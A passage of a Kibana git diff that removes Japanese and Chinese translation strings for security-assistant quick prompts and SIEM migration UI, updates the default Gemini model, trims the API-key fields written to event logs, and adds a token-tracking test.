のため異例とみなされます", @@ -33992,7 +33980,6 @@ "xpack.searchPlayground.header.view.chat": "チャット", "xpack.searchPlayground.header.view.preview": "プレビュー", "xpack.searchPlayground.header.view.query": "クエリー", - "xpack.searchPlayground.inferenceModel": "{name}", "xpack.searchPlayground.loadConnectorsError": "コネクターの読み込みエラーです。構成を確認して、再試行してください。", "xpack.searchPlayground.openAIAzureConnectorTitle": "OpenAI Azure", "xpack.searchPlayground.openAIAzureModel": "{name} (Azure OpenAI)", @@ -35097,18 +35084,6 @@ "xpack.securitySolution.assistant.content.promptContexts.indexTitle": "インデックス", "xpack.securitySolution.assistant.content.promptContexts.viewTitle": "表示", "xpack.securitySolution.assistant.conversationMigrationStatus.title": "ローカルストレージ会話は正常に永続しました。", - "xpack.securitySolution.assistant.quickPrompts.alertSummarizationPrompt": "セキュリティ運用とインシデント対応のエキスパートとして、添付されたアラートの内訳を説明し、それが私の組織にとって何を意味するのかを要約してください。", - "xpack.securitySolution.assistant.quickPrompts.alertSummarizationTitle": "アラート要約", - "xpack.securitySolution.assistant.quickPrompts.AutomationPrompt": "ログやイベントの収集には、どのFleet対応Elasticエージェント統合を使用すべきですか。", - "xpack.securitySolution.assistant.quickPrompts.AutomationTitle": "エージェント統合のアドバイス", - "xpack.securitySolution.assistant.quickPrompts.ruleCreationPrompt": "Elasticセキュリティのエキスパートユーザーとして、以下のユースケースを検出するための正確で有効なEQLクエリを作成してください。回答は、Elasticセキュリティのタイムラインまたは検出ルールですぐに使用できるように書式設定してください。そのユースケースに対応するルールがすでにElasticセキュリティに組み込まれている場合、または類似のルールが組み込まれている場合は、そのルールへのリンクと説明を入力してください。", - "xpack.securitySolution.assistant.quickPrompts.ruleCreationTitle": "クエリ生成", - "xpack.securitySolution.assistant.quickPrompts.splQueryConversionPrompt": "以前のSIEMプラットフォームから次のクエリを受け取りました。Elasticセキュリティのエキスパートユーザーとして、同等のElastic EQLを提案してください。すぐにそれをElasticのセキュリティタイムラインにコピーできます。", - "xpack.securitySolution.assistant.quickPrompts.splQueryConversionTitle": "クエリ変換", - "xpack.securitySolution.assistant.quickPrompts.threatInvestigationGuidesPrompt": "Elasticセキュリティ、Elasticエージェント、インジェストパイプラインのエキスパートユーザーとして、ElasticエージェントとKibanaのFleetを使用して次のデータをインジェストし、Elastic Common Schemaに変換する方法について、正確で書式設定された段階的な手順を挙げてください。", - "xpack.securitySolution.assistant.quickPrompts.threatInvestigationGuidesTitle": "カスタムデータインジェストヘルパー", - "xpack.securitySolution.assistant.quickPrompts.workflowAnalysisPrompt": "Elasticセキュリティのエキスパートユーザーとして、次の方法に関するワークフローと段階的な手順を提案してください。", - "xpack.securitySolution.assistant.quickPrompts.workflowAnalysisTitle": "ワークフロー提案", "xpack.securitySolution.assistant.settings.breadcrumb.index": "AI Assistant", "xpack.securitySolution.assistant.settings.breadcrumb.security": "セキュリティ", "xpack.securitySolution.assistant.settings.breadcrumb.serverless.security": "AI Assistant for Security設定", @@ -39852,7 +39827,6 @@ "xpack.securitySolution.onboarding.aiConnector.descriptionStart": "この機能はルール変換のAIコネクターに依存します。", "xpack.securitySolution.onboarding.aiConnector.learnMoreLink": "詳しくはこちら", "xpack.securitySolution.onboarding.aiConnector.llmMatrixLink": "モデルパフォーマンス", - "xpack.securitySolution.onboarding.aiConnector.siemMigrationLink": "AIを活用したSIEM移行", "xpack.securitySolution.onboarding.aiConnector.title": "AIプロバイダーを構成", "xpack.securitySolution.onboarding.aiConnectorCardInferenceDescription": "デフォルトでは、Elasticが提供するコネクターが選択されています。必要に応じて、別のコネクターとモデルを設定できます。{docsLink}と{llmMatrixLink}の詳細", "xpack.securitySolution.onboarding.aiConnectorCardNotInferenceDescription": "最適なパフォーマンスのモデルについては、{llmMatrixLink}を参照してください。AIを活用したSIEM移行については、{docsLink}。", @@ -39872,8 +39846,6 @@ "xpack.securitySolution.onboarding.alertsCards.timeline.title": "タイムラインで調査", "xpack.securitySolution.onboarding.alertsGroup.title": "ルールとアラートを構成", "xpack.securitySolution.onboarding.assistantCard.badge.completeText": "{count}個のAI {count, plural, one {connector} other {コネクター}}が追加されました", - "xpack.securitySolution.onboarding.assistantCard.calloutIntegrationsButton": "統合ステップの追加", - "xpack.securitySolution.onboarding.assistantCard.calloutIntegrationsText": "Elasticルールを追加するには、最初に統合を追加してください。", "xpack.securitySolution.onboarding.assistantCard.createNewConnectorPopover": "AIサービスプロバイダー", "xpack.securitySolution.onboarding.assistantCard.description": "Elastic AI Assistantで使用できるAIプロバイダーを選択し、構成します。", "xpack.securitySolution.onboarding.assistantCard.missingPrivileges.contactAdministrator": "サポートについては、管理者にお問い合わせください。", @@ -39968,7 +39940,6 @@ "xpack.securitySolution.onboarding.subTitle": "Elastic Securityへようこそ", "xpack.securitySolution.onboarding.Title": "こんにちは、{userName}さん!", "xpack.securitySolution.onboarding.topic.default": "セキュリティを設定", - "xpack.securitySolution.onboarding.topic.siemMigrations": "SIEMルール移行", "xpack.securitySolution.open.timeline.batchActionsTitle": "一斉アクション", "xpack.securitySolution.open.timeline.cancelButton": "キャンセル", "xpack.securitySolution.open.timeline.collapseButton": "縮小", @@ -40728,7 +40699,6 @@ "xpack.securitySolution.siemMigrations.rules.status.failedLabel": "エラー", "xpack.securitySolution.siemMigrations.rules.status.installedLabel": "インストール済み", "xpack.securitySolution.siemMigrations.rules.table.alreadyTranslatedTooltip": "移行ルールはすでに変換されています", - "xpack.securitySolution.siemMigrations.rules.table.goToMigrationsPageButton": "SIEM移行に戻る", "xpack.securitySolution.siemMigrations.rules.table.installAndEnableButtonLabel": "インストールして有効化", "xpack.securitySolution.siemMigrations.rules.table.installSelectedButtonAriaLabel": "選択した変換されたルールをインストール", "xpack.securitySolution.siemMigrations.rules.table.installSelectedRules": "選択したルール({numberOfSelectedRules})をインストール", @@ -40766,15 +40736,11 @@ "xpack.securitySolution.siemMigrations.rules.tour.setupSiemMigrationGuide.content": "これは、SIEMのルール、アセット、データをElastic Securityにすばやくインポートするための段階的なガイドです。AIを活用しています。", "xpack.securitySolution.siemMigrations.rules.tour.setupSiemMigrationGuide.finishButton": "OK", "xpack.securitySolution.siemMigrations.rules.tour.setupSiemMigrationGuide.subtitle": "新しいオンボーディングガイド!", - "xpack.securitySolution.siemMigrations.rules.tour.setupSiemMigrationGuide.title": "SIEM移行の合理化", "xpack.securitySolution.siemMigrations.rules.tour.statusStepContent": "{installed}ルールにはチェックマークが付いています。{view}をクリックしてルールの詳細にアクセスします。{translated}ルールは{install}できます。また、{edit}することもできます。エラーのあるルールは{reprocessed}できます。{lineBreak}{lineBreak}{link}の詳細", - "xpack.securitySolution.siemMigrations.rules.tour.translationRuleGuide.content": "各移行の変換されたルールは、SIEMルール変換ページに表示されます。このドロップダウンを使用して移行を切り替えます。[変換するその他のルールをアップロード]をクリックして、新しい移行を開始します。", "xpack.securitySolution.siemMigrations.rules.tour.translationRuleGuide.editLabel": "編集", "xpack.securitySolution.siemMigrations.rules.tour.translationRuleGuide.finishButton": "OK", "xpack.securitySolution.siemMigrations.rules.tour.translationRuleGuide.installedLabel": "インストール済み", "xpack.securitySolution.siemMigrations.rules.tour.translationRuleGuide.installLabel": "インストール", - "xpack.securitySolution.siemMigrations.rules.tour.translationRuleGuide.migrationGuideStepContent": "ガイドと移行されたルールは、いつでもオンボーディングハブで確認できます。これを使用して、以前のルール移行をレビューしたり、新しい移行を開始したりできます。", - "xpack.securitySolution.siemMigrations.rules.tour.translationRuleGuide.migrationGuideStepTitle": "SIEMルール移行ガイド", "xpack.securitySolution.siemMigrations.rules.tour.translationRuleGuide.nextStepButton": "次へ", "xpack.securitySolution.siemMigrations.rules.tour.translationRuleGuide.reprocessedLabel": "再処理済み", "xpack.securitySolution.siemMigrations.rules.tour.translationRuleGuide.siemMigrationsLinkLabel": "ここでAI変換", @@ -41526,13 +41492,9 @@ "xpack.serverlessSearch.languages.ruby": "Ruby", "xpack.serverlessSearch.languages.ruby.githubLabel": "elasticsearch-serverless-ruby", "xpack.serverlessSearch.learnMore": "詳しくはこちら", - "xpack.serverlessSearch.nav.analyze": "分析", "xpack.serverlessSearch.nav.build": "ビルド", "xpack.serverlessSearch.nav.build.searchPlayground": "Playground", "xpack.serverlessSearch.nav.content.indices": "インデックス管理", - "xpack.serverlessSearch.nav.data": "データ", - "xpack.serverlessSearch.nav.devTools": "開発ツール", - "xpack.serverlessSearch.nav.gettingStarted": "はじめに", "xpack.serverlessSearch.nav.mngt": "管理", "xpack.serverlessSearch.nav.mngt.access": "アクセス", "xpack.serverlessSearch.nav.mngt.access.userAndRoles": "組織メンバーを管理", @@ -41541,7 +41503,6 @@ "xpack.serverlessSearch.nav.mngt.data": "データ", "xpack.serverlessSearch.nav.mngt.other": "その他", "xpack.serverlessSearch.nav.mngt.other.aiAssistantSettings": "AI Assistant設定", - "xpack.serverlessSearch.nav.otherTools": "その他のツール", "xpack.serverlessSearch.nav.performance": "パフォーマンス", "xpack.serverlessSearch.nav.projectSettings": "プロジェクト設定", "xpack.serverlessSearch.nav.relevance": "関連性", diff --git a/x-pack/platform/plugins/private/translations/translations/zh-CN.json b/x-pack/platform/plugins/private/translations/translations/zh-CN.json index 0e4a17aa009dc..b13c338b97763 100644 --- a/x-pack/platform/plugins/private/translations/translations/zh-CN.json +++ b/x-pack/platform/plugins/private/translations/translations/zh-CN.json @@ -96,7 +96,6 @@ "aiAssistantManagementSelection.breadcrumb.index": "AI 助手", "aiAssistantManagementSelection.featureRegistry.featureName": "AI 助手", "aiAssistantManagementSelection.managementSectionLabel": "AI 助手", - "aiAssistantManagementSelection.preferredAIAssistantTypeSettingDescription": "[技术预览] Observability 和 Search 中是否显示 AI 助手菜单项:随处显示或者从不显示。", "aiAssistantManagementSelection.preferredAIAssistantTypeSettingName": "适用于 Observability 和 Search 的 AI 助手可见性", "aiAssistantManagementSelection.preferredAIAssistantTypeSettingValueDefault": "仅限 Observability 和 Search(默认)", "aiAssistantManagementSelection.preferredAIAssistantTypeSettingValueNever": "从不显示", @@ -1729,10 +1728,6 @@ "data.advancedSettings.timepicker.today": "今日", "data.aggTypes.buckets.ranges.rangesFormatMessage": "{gte} {from} 且 {lt} {to}", "data.aggTypes.buckets.ranges.rangesFormatMessageArrowRight": "{from} → {to}", - "data.deprecations.scriptedFieldsMessage": "搜索会话功能已过时,将在 9.0 中默认禁用。您当前具有 {numberOfSearchSessions} 个活动搜索会话:[管理搜索会话]({searchSessionsLink})", - "data.deprecations.searchSessions.manualStepOneMessage": "导航到“堆栈管理”>“Kibana”>“搜索会话”", - "data.deprecations.searchSessions.manualStepTwoMessage": "或者,要在 9.1 之前继续使用搜索会话,请打开 kibana.yml 配置文件并添加以下内容:“data.search.sessions.enabled: true”", - "data.deprecations.searchSessionsTitle": "默认情况下会禁用搜索会话", "data.filter.filterBar.fieldNotFound": "在数据视图 {dataView} 中未找到字段 {key}", "data.functions.esaggs.help": "运行 AggConfig 聚合", "data.functions.esaggs.inspector.dataRequest.description": "此请求查询 Elasticsearch,以获取可视化的数据。", @@ -15094,13 +15089,10 @@ "xpack.csp.emptyState.resetFiltersButton": "重置筛选", "xpack.csp.emptyState.title": "没有任何结果匹配您的搜索条件", "xpack.csp.enableBenchmarkRuleButton": "启用规则", - "xpack.csp.findings.3pIntegrationsCallout.buttonTitle": "集成 Wiz", - "xpack.csp.findings.3pIntegrationsCallout.title": "新!将您的云安全产品数据采集到 Elastic 中,以进行集中式分析、搜寻、调查、可视化等", "xpack.csp.findings.distributionBar.totalFailedLabel": "失败的结果", "xpack.csp.findings.distributionBar.totalPassedLabel": "通过的结果", "xpack.csp.findings.errorCallout.pageSearchErrorTitle": "检索搜索结果时遇到问题", "xpack.csp.findings.errorCallout.showErrorButtonLabel": "显示错误消息", - "xpack.csp.findings.findingsFlyout.calloutTitle": "{vendor} 未提供某些字段", "xpack.csp.findings.findingsFlyout.jsonTabTitle": "JSON", "xpack.csp.findings.findingsFlyout.overviewTab.alertsTitle": "告警", "xpack.csp.findings.findingsFlyout.overviewTab.dataViewTitle": "数据视图", @@ -16112,7 +16104,6 @@ "xpack.elasticAssistant.assistant.deleteConversationModal.deleteButtonText": "删除", "xpack.elasticAssistant.assistant.deleteConversationModal.deleteConversationTitle": "删除此对话", "xpack.elasticAssistant.assistant.disclaimer": "来自 AI 系统的响应可能看起来很有说服力,但并不总是完全准确。有关辅助功能及其用法的详细信息,请参阅文档。", - "xpack.elasticAssistant.assistant.emptyScreen.description": "使用以下系统提示向我提出任何要求,从“汇总此告警”到“帮助我构建查询”:", "xpack.elasticAssistant.assistant.emptyScreen.title": "我如何帮助您?", "xpack.elasticAssistant.assistant.firstPromptEditor.addNewSystemPrompt": "添加新系统提示……", "xpack.elasticAssistant.assistant.firstPromptEditor.clearSystemPrompt": "清除系统提示", @@ -16373,7 +16364,6 @@ "xpack.elasticAssistant.knowledgeBase.tour.videoStep.desc": "使用定制知识源,您可以从 AI 助手接收专门定制的响应。观看此视频了解如何添加您自己的数据源,并浏览如何在安全运营情况下应用这类数据源的示例。", "xpack.elasticAssistant.knowledgeBase.tour.videoStep.title": "定制知识源简介", "xpack.elasticAssistant.prompts.bulkActionspromptsError": "更新提示时出错 {error}", - "xpack.elasticAssistant.prompts.getPromptsError": "提取提示时出错", "xpack.elasticAssistant.securityAssistant.content.prompts.welcome.enterprisePrompt": "Elastic AI 助手仅对企业用户可用。请升级许可证以使用此功能。", "xpack.elasticAssistantPlugin.assistant.apiErrorTitle": "发送消息时出错。", "xpack.elasticAssistantPlugin.assistant.contentReferences.knowledgeBaseEntryReference.label": "知识库条目", @@ -19718,7 +19708,6 @@ "xpack.fleet.serverError.enrollmentKeyDuplicate": "称作 {providedKeyName} 的注册密钥对于代理策略 {agentPolicyId} 已存在", "xpack.fleet.serverError.returnedIncorrectKey": "Find enrollmentKeyById 返回错误的密钥", "xpack.fleet.serverError.unableToCreateEnrollmentKey": "无法创建注册 api 密钥", - "xpack.fleet.serverPlugin.privilegesTooltip": "访问 Fleet 需要所有工作区。", "xpack.fleet.settings.advancedSection.link": "文档", "xpack.fleet.settings.advancedSection.preconfiguredTitle": "这是预配置的设置,无法进行更新。", "xpack.fleet.settings.advancedSection.switchLabel": "打开此设置会启用自动删除已取消注册的代理。有关更多信息,请参阅 {docLink}。", @@ -26812,7 +26801,6 @@ "xpack.ml.anomalyChartsEmbeddable.setupModal.cancelButtonLabel": "取消", "xpack.ml.anomalyChartsEmbeddable.setupModal.title": "异常浏览器图表配置", "xpack.ml.anomalyChartsEmbeddable.title": "{jobIds} 的 ML 异常图表", - "xpack.ml.anomalyDescription.anomalyInLabel": "{anomalyDetector} 中的 {anomalySeverity} 异常", "xpack.ml.anomalyDescription.detectedInLabel": "在 {sourcePartitionFieldName} {sourcePartitionFieldValue} 检测到", "xpack.ml.anomalyDescription.foundForLabel": "已为 {anomalyEntityName} {anomalyEntityValue} 找到", "xpack.ml.anomalyDescription.multivariateDescription": "{sourceByFieldName} 中找到多变量关联;如果{sourceCorrelatedByFieldValue},{sourceByFieldValue} 将被视为有异常", @@ -33979,7 +33967,6 @@ "xpack.searchPlayground.header.view.chat": "聊天", "xpack.searchPlayground.header.view.preview": "预览", "xpack.searchPlayground.header.view.query": "查询", - "xpack.searchPlayground.inferenceModel": "{name}", "xpack.searchPlayground.loadConnectorsError": "加载连接器进出错。请检查您的配置,然后重试。", "xpack.searchPlayground.openAIAzureConnectorTitle": "OpenAI Azure", "xpack.searchPlayground.openAIAzureModel": "{name} (Azure OpenAI)", @@ -35086,18 +35073,6 @@ "xpack.securitySolution.assistant.content.promptContexts.indexTitle": "索引", "xpack.securitySolution.assistant.content.promptContexts.viewTitle": "视图", "xpack.securitySolution.assistant.conversationMigrationStatus.title": "已成功保持本地存储对话。", - "xpack.securitySolution.assistant.quickPrompts.alertSummarizationPrompt": "作为安全运营和事件响应领域的专家,提供附加告警的细目并简要说明它对我所在组织可能的影响。", - "xpack.securitySolution.assistant.quickPrompts.alertSummarizationTitle": "告警汇总", - "xpack.securitySolution.assistant.quickPrompts.AutomationPrompt": "我应使用哪个启用 Fleet 的 Elastic 代理集成从以下项中收集日志和事件:", - "xpack.securitySolution.assistant.quickPrompts.AutomationTitle": "代理集成建议", - "xpack.securitySolution.assistant.quickPrompts.ruleCreationPrompt": "作为 Elastic Security 的专家用户,请生成准确、有效的 EQL 查询来检测以下用例。应对您的响应进行格式化,以便可以立即在 Elastic Security 时间线或检测规则中使用。如果 Elastic Security 已经为此用例预构建了规则,或具有类似规则,请提供该规则的链接并做出描述。", - "xpack.securitySolution.assistant.quickPrompts.ruleCreationTitle": "查询生成", - "xpack.securitySolution.assistant.quickPrompts.splQueryConversionPrompt": "我具有以下来自之前 SIEM 平台的查询。作为 Elastic Security 的专家用户,请提议一个 Elastic EQL 等价查询。我应能够立即将其复制到 Elastic Security 时间线。", - "xpack.securitySolution.assistant.quickPrompts.splQueryConversionTitle": "查询转换", - "xpack.securitySolution.assistant.quickPrompts.threatInvestigationGuidesPrompt": "作为 Elastic Security、Elastic 代理和采集管道的专家用户,请列出如何在 Kibana 中使用 Elastic 代理和 Fleet 采集以下数据并将其转换为 Elastic Common Schema 的准确、已格式化的分步说明:", - "xpack.securitySolution.assistant.quickPrompts.threatInvestigationGuidesTitle": "定制数据采集帮助程序", - "xpack.securitySolution.assistant.quickPrompts.workflowAnalysisPrompt": "作为 Elastic Security 的专家用户,请提议一个工作流,提供如何执行以下操作的分步说明:", - "xpack.securitySolution.assistant.quickPrompts.workflowAnalysisTitle": "工作流建议", "xpack.securitySolution.assistant.settings.breadcrumb.index": "AI 助手", "xpack.securitySolution.assistant.settings.breadcrumb.security": "安全", "xpack.securitySolution.assistant.settings.breadcrumb.serverless.security": "适用于 Security 的 AI 助手设置", @@ -39832,7 +39807,6 @@ "xpack.securitySolution.onboarding.aiConnector.descriptionStart": "此功能依赖 AI 连接器进行规则转换。", "xpack.securitySolution.onboarding.aiConnector.learnMoreLink": "了解详情", "xpack.securitySolution.onboarding.aiConnector.llmMatrixLink": "模型性能", - "xpack.securitySolution.onboarding.aiConnector.siemMigrationLink": "AI 驱动式 SIEM 迁移", "xpack.securitySolution.onboarding.aiConnector.title": "配置 AI 提供商", "xpack.securitySolution.onboarding.aiConnectorCardInferenceDescription": "默认情况下会选择 Elastic 提供的连接器。如果愿意,您可以配置其他连接器和模型。详细了解 {docsLink} 和 {llmMatrixLink}", "xpack.securitySolution.onboarding.aiConnectorCardNotInferenceDescription": "请参阅 {llmMatrixLink} 了解有关哪些模型性能最高的信息。有关 AI 驱动式 SIEM 迁移的 {docsLink}。", @@ -39852,8 +39826,6 @@ "xpack.securitySolution.onboarding.alertsCards.timeline.title": "在时间线中调查", "xpack.securitySolution.onboarding.alertsGroup.title": "配置规则和告警", "xpack.securitySolution.onboarding.assistantCard.badge.completeText": "{count} 个 AI {count, plural, one {连接器} other {连接器}}已添加", - "xpack.securitySolution.onboarding.assistantCard.calloutIntegrationsButton": "添加集成步骤", - "xpack.securitySolution.onboarding.assistantCard.calloutIntegrationsText": "要添加 Elastic 规则,请先添加集成。", "xpack.securitySolution.onboarding.assistantCard.createNewConnectorPopover": "AI 服务提供商", "xpack.securitySolution.onboarding.assistantCard.description": "选择并配置可与 Elastic AI 助手搭配使用的任何 AI 提供商。", "xpack.securitySolution.onboarding.assistantCard.missingPrivileges.contactAdministrator": "请联系管理员寻求帮助。", @@ -39948,7 +39920,6 @@ "xpack.securitySolution.onboarding.subTitle": "欢迎使用 Elastic Security", "xpack.securitySolution.onboarding.Title": "{userName} 您好!", "xpack.securitySolution.onboarding.topic.default": "设置 Security", - "xpack.securitySolution.onboarding.topic.siemMigrations": "SIEM 规则迁移", "xpack.securitySolution.open.timeline.batchActionsTitle": "批处理操作", "xpack.securitySolution.open.timeline.cancelButton": "取消", "xpack.securitySolution.open.timeline.collapseButton": "折叠", @@ -40708,7 +40679,6 @@ "xpack.securitySolution.siemMigrations.rules.status.failedLabel": "错误", "xpack.securitySolution.siemMigrations.rules.status.installedLabel": "已安装", "xpack.securitySolution.siemMigrations.rules.table.alreadyTranslatedTooltip": "已转换迁移规则", - "xpack.securitySolution.siemMigrations.rules.table.goToMigrationsPageButton": "返回到 SIEM 迁移", "xpack.securitySolution.siemMigrations.rules.table.installAndEnableButtonLabel": "安装并启用", "xpack.securitySolution.siemMigrations.rules.table.installSelectedButtonAriaLabel": "安装选定的已转换规则", "xpack.securitySolution.siemMigrations.rules.table.installSelectedRules": "安装选定项 ({numberOfSelectedRules})", @@ -40746,15 +40716,12 @@ "xpack.securitySolution.siemMigrations.rules.tour.setupSiemMigrationGuide.content": "这是帮助将 SIEM 规则、资产和数据快速导入 Elastic Security 的分步指南。由 AI 提供支持。", "xpack.securitySolution.siemMigrations.rules.tour.setupSiemMigrationGuide.finishButton": "确定", "xpack.securitySolution.siemMigrations.rules.tour.setupSiemMigrationGuide.subtitle": "全新载入指南!", - "xpack.securitySolution.siemMigrations.rules.tour.setupSiemMigrationGuide.title": "精简的 SIEM 迁移", "xpack.securitySolution.siemMigrations.rules.tour.statusStepContent": "{installed} 规则带有复选标记。单击 {view} 可访问规则详情。{translated} 规则已准备就绪,您可以 {install},或进行 {edit}。包含错误的规则可以进行 {reprocessed}。{lineBreak}{lineBreak} 详细了解我们的 {link}", - "xpack.securitySolution.siemMigrations.rules.tour.translationRuleGuide.content": "每项迁移的已转换规则在其 SIEM 规则转换页面上显示。使用此下拉列表在您的迁移之间切换。通过单击“上传更多规则以进行转换”启动新迁移。", "xpack.securitySolution.siemMigrations.rules.tour.translationRuleGuide.editLabel": "编辑", "xpack.securitySolution.siemMigrations.rules.tour.translationRuleGuide.finishButton": "确定", "xpack.securitySolution.siemMigrations.rules.tour.translationRuleGuide.installedLabel": "已安装", "xpack.securitySolution.siemMigrations.rules.tour.translationRuleGuide.installLabel": "安装", "xpack.securitySolution.siemMigrations.rules.tour.translationRuleGuide.migrationGuideStepContent": "您始终可在载入中心找到指南和已迁移规则。使用它可复查以前的规则迁移或启动新迁移。", - "xpack.securitySolution.siemMigrations.rules.tour.translationRuleGuide.migrationGuideStepTitle": "SIEM 规则迁移指南", "xpack.securitySolution.siemMigrations.rules.tour.translationRuleGuide.nextStepButton": "下一步", "xpack.securitySolution.siemMigrations.rules.tour.translationRuleGuide.reprocessedLabel": "已重新处理", "xpack.securitySolution.siemMigrations.rules.tour.translationRuleGuide.siemMigrationsLinkLabel": "在此处进行 AI 转换", @@ -41505,13 +41472,9 @@ "xpack.serverlessSearch.languages.ruby": "Ruby", "xpack.serverlessSearch.languages.ruby.githubLabel": "elasticsearch-serverless-ruby", "xpack.serverlessSearch.learnMore": "了解详情", - "xpack.serverlessSearch.nav.analyze": "分析", "xpack.serverlessSearch.nav.build": "构建", "xpack.serverlessSearch.nav.build.searchPlayground": "Playground", "xpack.serverlessSearch.nav.content.indices": "索引管理", - "xpack.serverlessSearch.nav.data": "数据", - "xpack.serverlessSearch.nav.devTools": "开发工具", - "xpack.serverlessSearch.nav.gettingStarted": "入门", "xpack.serverlessSearch.nav.mngt": "管理", "xpack.serverlessSearch.nav.mngt.access": "访问", "xpack.serverlessSearch.nav.mngt.access.userAndRoles": "管理组织成员", @@ -41520,7 +41483,6 @@ "xpack.serverlessSearch.nav.mngt.data": "数据", "xpack.serverlessSearch.nav.mngt.other": "其他", "xpack.serverlessSearch.nav.mngt.other.aiAssistantSettings": "AI 助手设置", - "xpack.serverlessSearch.nav.otherTools": "其他工具", "xpack.serverlessSearch.nav.performance": "性能", "xpack.serverlessSearch.nav.projectSettings": "项目设置", "xpack.serverlessSearch.nav.relevance": "相关性", diff --git a/x-pack/platform/plugins/private/upgrade_assistant/server/config.ts b/x-pack/platform/plugins/private/upgrade_assistant/server/config.ts index 36803b41b7543..61e41efe8cbb9 100644 --- a/x-pack/platform/plugins/private/upgrade_assistant/server/config.ts +++ b/x-pack/platform/plugins/private/upgrade_assistant/server/config.ts @@ -73,7 +73,7 @@ const configSchema = schema.object({ * This config allows to hide the UI without disabling the plugin. */ ui: schema.object({ - enabled: schema.boolean({ defaultValue: true }), + enabled: schema.boolean({ defaultValue: false }), }), }); diff --git a/x-pack/platform/plugins/shared/actions/docs/openapi/components/schemas/gemini_config.yaml b/x-pack/platform/plugins/shared/actions/docs/openapi/components/schemas/gemini_config.yaml index fc3b583f2bfe4..ca05fc79c8df9 100644 --- a/x-pack/platform/plugins/shared/actions/docs/openapi/components/schemas/gemini_config.yaml +++ b/x-pack/platform/plugins/shared/actions/docs/openapi/components/schemas/gemini_config.yaml @@ -12,7 +12,7 @@ properties: defaultModel: type: string description: The generative artificial intelligence model for Google Gemini to use. - default: gemini-1.5-pro-002 + default: gemini-2.5-pro gcpRegion: type: string description: The GCP region where the Vertex AI endpoint enabled. diff --git a/x-pack/platform/plugins/shared/actions/server/integration_tests/__snapshots__/connector_types.test.ts.snap b/x-pack/platform/plugins/shared/actions/server/integration_tests/__snapshots__/connector_types.test.ts.snap index 548b1ae67a755..1403669f503cc 100644 --- a/x-pack/platform/plugins/shared/actions/server/integration_tests/__snapshots__/connector_types.test.ts.snap +++ b/x-pack/platform/plugins/shared/actions/server/integration_tests/__snapshots__/connector_types.test.ts.snap @@ -7079,7 +7079,7 @@ Object { }, "defaultModel": Object { "flags": Object { - "default": "gemini-1.5-pro-002", + "default": "gemini-2.5-pro", "error": [Function], "presence": "optional", }, diff --git a/x-pack/platform/plugins/shared/actions/server/lib/action_executor.test.ts b/x-pack/platform/plugins/shared/actions/server/lib/action_executor.test.ts index 1737d59de8887..b5e7f8ecb0cd0 100644 --- a/x-pack/platform/plugins/shared/actions/server/lib/action_executor.test.ts +++ b/x-pack/platform/plugins/shared/actions/server/lib/action_executor.test.ts @@ -1706,6 +1706,7 @@ describe('Event log', () => { ...mockUser, authentication_type: 'api_key', api_key: { + managed_by: 'elasticsearch', id: '456', name: 'test api key', }, diff --git a/x-pack/platform/plugins/shared/actions/server/lib/action_executor.ts b/x-pack/platform/plugins/shared/actions/server/lib/action_executor.ts index 5448319088eed..ee1a1c538882f 100644 --- a/x-pack/platform/plugins/shared/actions/server/lib/action_executor.ts +++ b/x-pack/platform/plugins/shared/actions/server/lib/action_executor.ts @@ -23,7 +23,10 @@ import { createTaskRunError, TaskErrorSource } from '@kbn/task-manager-plugin/se import { getErrorSource } from '@kbn/task-manager-plugin/server/task_running'; import { GEN_AI_TOKEN_COUNT_EVENT } from './event_based_telemetry'; import { ConnectorUsageCollector } from '../usage/connector_usage_collector'; -import { getGenAiTokenTracking, shouldTrackGenAiToken } from './gen_ai_token_tracking'; +import { + getGenAiTokenTracking, + shouldTrackGenAiToken, +} from './token_tracking/gen_ai_token_tracking'; import { validateConfig, validateConnector, @@ -551,7 +554,13 @@ export class ActionExecutor { event.user = event.user || {}; event.user.name = currentUser?.username; event.user.id = currentUser?.profile_uid; - event.kibana!.user_api_key = currentUser?.api_key; + if (currentUser?.api_key) { + event.kibana!.user_api_key = { + name: currentUser.api_key?.name, + id: currentUser.api_key?.id, + }; + } + set( event, 'kibana.action.execution.usage.request_body_bytes', diff --git a/x-pack/platform/plugins/shared/actions/server/lib/index.ts b/x-pack/platform/plugins/shared/actions/server/lib/index.ts index 9afa038d79711..f5172ed7e0d6a 100644 --- a/x-pack/platform/plugins/shared/actions/server/lib/index.ts +++ b/x-pack/platform/plugins/shared/actions/server/lib/index.ts @@ -39,4 +39,4 @@ export { parseDate } from './parse_date'; export type { RelatedSavedObjects } from './related_saved_objects'; export { getBasicAuthHeader, combineHeadersWithBasicAuthHeader } from './get_basic_auth_header'; export { tryCatch } from './try_catch'; -export type { TelemetryMetadata } from './gen_ai_token_tracking'; +export type { TelemetryMetadata } from './token_tracking/gen_ai_token_tracking'; diff --git a/x-pack/platform/plugins/shared/actions/server/lib/gen_ai_token_tracking.test.ts b/x-pack/platform/plugins/shared/actions/server/lib/token_tracking/gen_ai_token_tracking.test.ts similarity index 91% rename from x-pack/platform/plugins/shared/actions/server/lib/gen_ai_token_tracking.test.ts rename to x-pack/platform/plugins/shared/actions/server/lib/token_tracking/gen_ai_token_tracking.test.ts index aad3b1709caf6..babd8fc86169f 100644 --- a/x-pack/platform/plugins/shared/actions/server/lib/gen_ai_token_tracking.test.ts +++ b/x-pack/platform/plugins/shared/actions/server/lib/token_tracking/gen_ai_token_tracking.test.ts @@ -409,6 +409,56 @@ describe('getGenAiTokenTracking', () => { expect(logger.error).toHaveBeenCalled(); }); + it('should return the total, prompt, and completion token counts when given a valid Inference async iterator response', async () => { + const mockStream = jest.fn(); + const actionTypeId = '.inference'; + const result = { + actionId: '123', + status: 'ok' as const, + data: { consumerStream: mockStream, tokenCountStream: mockStream }, + }; + const validatedParams = { + subAction: 'unified_completion_async_iterator', + subActionParams: { + body: { + messages: [ + { + role: 'user', + content: 'Sample message', + }, + ], + }, + }, + }; + + const tokenTracking = await getGenAiTokenTracking({ + actionTypeId, + logger, + result, + validatedParams, + }); + + expect(tokenTracking).toEqual({ + total_tokens: 100, + prompt_tokens: 50, + completion_tokens: 50, + }); + expect(logger.error).not.toHaveBeenCalled(); + + expect( + JSON.stringify(mockGetTokenCountFromInvokeAsyncIterator.mock.calls[0][0].body) + ).toStrictEqual( + JSON.stringify({ + messages: [ + { + role: 'user', + content: 'Sample message', + }, + ], + }) + ); + }); + it('should return the total, prompt, and completion token counts when given a valid Gemini response', async () => { const actionTypeId = '.gemini'; diff --git a/x-pack/platform/plugins/shared/actions/server/lib/gen_ai_token_tracking.ts b/x-pack/platform/plugins/shared/actions/server/lib/token_tracking/gen_ai_token_tracking.ts similarity index 90% rename from 